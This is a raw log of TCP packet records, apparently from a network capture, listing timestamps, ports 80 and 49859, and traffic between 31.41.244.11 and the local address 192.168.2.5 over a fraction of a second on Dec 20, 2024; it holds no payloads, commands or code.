Dec 20, 2024 13:12:27.080666065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.080754995 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.080828905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.080913067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.081768036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.081830978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.081851006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.081981897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.082820892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.082839966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.082876921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.082932949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.083813906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.083868980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.083920956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.083920956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.084765911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.084825993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.084870100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.084950924 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.085850954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.085911989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.086039066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.086091042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.086888075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.087038040 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.087049007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.087126970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.087970018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.088030100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.088053942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.088110924 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.089008093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.089060068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.089207888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.089292049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.090014935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.090065956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.090095043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.090146065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.091161966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.091212988 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.091490030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.091738939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.092338085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.092396021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.092446089 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.092533112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.093256950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.093313932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.093343973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.093462944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.094209909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.094320059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.094330072 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.094392061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.095206976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.095269918 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.095343113 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.095402002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.096292973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.096369028 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.096401930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.096462011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.097346067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.097430944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.097430944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.097490072 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.098437071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.098519087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.098531961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.098611116 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.099464893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.099517107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.099550009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.099603891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.100517035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.100569963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.100570917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.100662947 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.101530075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.101572037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.101591110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.101700068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.102575064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.102628946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.102827072 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.102946997 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.103876114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.103888988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.103950024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.104722977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.104795933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.104808092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.104882002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.105726004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.105792999 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.105808973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.105865002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.106803894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.106889963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.107003927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.107058048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.107844114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.107907057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.107935905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.108040094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.108858109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.108948946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.109103918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.109206915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.109889984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.109958887 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.109987974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.110068083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.111165047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.111221075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.111246109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.111296892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.112042904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.112168074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.112281084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.112369061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.113045931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.113148928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.113153934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.113233089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.114121914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.114161968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.114181995 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.114221096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.115148067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.115207911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.115386963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.115467072 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.116236925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.116307020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.116312027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.116364002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.117264986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.117367029 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.117383957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.117474079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.118249893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.118349075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.255557060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.255651951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.255691051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.255755901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.255981922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.256073952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.256120920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.256191015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.257014990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.257093906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.257158995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.257240057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.258110046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.258127928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.258163929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.258203983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.259108067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.259176970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.259221077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.259285927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.260164022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.260237932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.260251045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.260293007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.261184931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.261262894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.261297941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.261347055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.262271881 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.262373924 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.262379885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.262445927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.263362885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.263442039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.263519049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.263596058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.264362097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.264411926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.264472008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.264523983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.265424967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.265476942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.265494108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.265538931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.266458035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.266508102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.266532898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.266580105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.267597914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.267652988 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.267729998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.267774105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.268543005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.268591881 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.268604040 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.268646002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.269607067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.269659996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.269689083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.269736052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.270689964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.270741940 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.270977020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.271025896 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.271703959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.271761894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.271826029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.271877050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.272769928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.272819996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.272886992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.272938967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.273792982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.273844004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.274020910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.274069071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.274827957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.274894953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.274929047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.274977922 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.275885105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.275932074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.276195049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.276243925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.276976109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.277023077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.277076006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.277123928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.277990103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.278038979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.278091908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.278137922 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.279057980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.279104948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.279365063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.279414892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.280332088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.280381918 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.280438900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.280484915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.281224966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.281269073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.281332970 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.281378031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.282229900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.282275915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.282356977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.282402992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.283258915 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.283305883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.283338070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.283385038 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.284389019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.284436941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.284485102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.284532070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.285573006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.285635948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.285664082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.285710096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.286456108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.286477089 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.286501884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.286525011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.287436008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.287482977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.287611961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.287657976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.288490057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.288535118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.288614988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.288660049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.289643049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.289690018 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.289691925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.289740086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.290568113 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.290611982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.290720940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.290767908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.291708946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.291754007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.291776896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.291821957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.292800903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.292848110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.293008089 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.293054104 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.294079065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.294131041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.294265985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.294312954 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.294837952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.294886112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.295250893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.295295954 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.295859098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.295927048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.295952082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.296000004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.296894073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.296942949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.297018051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.297065973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.297913074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.297960997 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.298016071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.298070908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.299047947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.299099922 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.299220085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.299264908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.300158024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.300210953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.300235033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.300280094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.301085949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.301130056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.301203966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.301260948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.302227020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.302273989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.302301884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.302347898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.303164005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.303216934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.303297997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.303350925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.304220915 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.304275036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.304331064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.304375887 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.305288076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.305344105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.305392981 CET	80	49859	31.41.244.11	192.168.2.5
